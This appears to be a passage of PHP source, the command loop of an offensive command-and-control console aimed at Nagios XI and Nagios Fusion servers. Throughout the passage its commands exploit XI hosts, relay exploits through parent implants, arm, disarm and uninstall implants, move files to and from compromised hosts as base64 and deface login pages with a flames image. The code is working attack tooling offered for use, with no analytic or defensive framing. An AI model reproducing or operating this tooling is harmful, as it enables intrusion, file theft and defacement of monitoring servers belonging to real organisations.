"uninstall": 388 | if($context["type"] == "local") { 389 | print("Cannot uninstall non-XI context. Change context to an exploited endpoint.\n"); 390 | } else { 391 | print("Uninstalling {$context["type"]} @ {$context["ip"]}\n"); 392 | send_message("UNINSTALL"); 393 | } 394 | break; 395 | case "arm": 396 | if($context["type"] == "xi") { 397 | print("Arming XI on {$context["ip"]}\n"); 398 | send_message("ARM"); 399 | } else { 400 | print("Cannot arm non-XI context. Change context to an exploited XI.\n"); 401 | } 402 | break; 403 | case "unarm": 404 | if($context["type"] == "xi") { 405 | print("Unarming XI on {$context["ip"]}\n"); 406 | send_message("UNARM"); 407 | } else { 408 | print("Cannot unarm non-XI context. Change context to an exploited XI.\n"); 409 | } 410 | break; 411 | case "ping": 412 | if($context["type"] == "local") { 413 | print("Cannot ping localhost. Change context to ping.\n"); 414 | } else { 415 | print("Pinging {$context["ip"]}.\n"); 416 | send_message("PING"); 417 | } 418 | break; 419 | case "put": 420 | $src = array_shift($command); 421 | $dst = array_shift($command); 422 | $data = base64_encode(file_get_contents($src)); 423 | print("Sending {$src} to {$context["ip"]}:{$dst}\n"); 424 | send_message("PUT:{$dst}:{$data}"); 425 | break; 426 | case "get": 427 | $src = array_shift($command); 428 | $dst = array_shift($command); 429 | print("Copying {$dst} from {$context["ip"]} to {$src}\n"); 430 | send_message("GET:{$src}:{$dst}"); 431 | break; 432 | case "exp": 433 | case "exploit": 434 | if($context["type"] == "xi") { 435 | if(!isset($context["parent"]) || ($context["parent"] == $config["self_ip"])) { 436 | $context["exploited"] = TRUE; 437 | exploit_xi($context); 438 | } else { 439 | $context["exploited"] = TRUE; 440 | $command = "EXPLOIT:" . $context["ip"]; 441 | send_message($command); 442 | } 443 | } else { 444 | print("Cannot exploit non-XI context. Change context to an XI.\n"); 445 | } 446 | break; 447 | case "cd": 448 | $type = strtolower(array_shift($command)); 449 | if(empty($type) or $type == "-" or $type == "home") { 450 | $context = $default_context; 451 | } elseif ($type == "xi" or $type == "fusion") { 452 | $index = array_shift($command); 453 | if(!isset($config[$type . "s"][$index])) 454 | { 455 | print "Can't find requested context.\n"; 456 | break; 457 | } 458 | $context = $config[$type . "s"][$index]; 459 | } else { 460 | print("Cannot change context into unkown type of '{$type}'.\n"); 461 | } 462 | break; 463 | case "sh": 464 | case "sho": 465 | case "show": 466 | $object = array_shift($command); 467 | switch($object) { 468 | case "xi": 469 | case "xis": 470 | json_print($config["xis"]); 471 | break; 472 | case "sip": 473 | case "selfip": 474 | json_print($config["self_ip"] . "\n"); 475 | break; 476 | case "fus": 477 | case "fusion": 478 | case "fusions": 479 | json_print($config["fusions"]); 480 | break; 481 | case "ctx": 482 | case "context": 483 | json_print($context); 484 | break; 485 | case "run": 486 | case "conf": 487 | case "config": 488 | print_config($config); 489 | break; 490 | case "start": 491 | print_config(load_config()); 492 | break; 493 | default: 494 | print("ERROR: Unknown thing to show '{$object}'\n"); 495 | } 496 | break; 497 | case "add_flames": 498 | switch($context["type"]) 499 | { 500 | case "xi": 501 | $data = file_get_contents("xi_loginsplash.png"); 502 | $remote_filename = BASE_NAGIOSXI_DIR . "/html/flames.png"; 503 | break; 504 | case "fusion": 505 | $data = file_get_contents("fusion_loginsplash.png"); 506 | $remote_filename = BASE_NAGIOSFUSION_DIR . "/html/flames.png"; 507 | break; 508 | default: 509 | print "Bad context";break; 510 | } 511 | $data = base64_encode($data); 512 | print("Uploading flames\n"); 513 | send_message("PUT:{$remote_filename}:{$data}"); 514 | print("Adding flames!\n"); 515 | send_message("ADD_FLAMES"); 516 | break; 517 | default: 518 | $bad_command = join("", $command); 519 | print("ERROR: Unknown Command: {$action} {$bad_command}\n"); 520 | } 521 | unset($command); 522 | } 523 | 524 | ?> -------------------------------------------------------------------------------- /xi_loginsplash.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/skylightcyber/soygun/6054b3969f9c09635298b4fab7a5b99443eb02cb/xi_loginsplash.png --------------------------------------------------------------------------------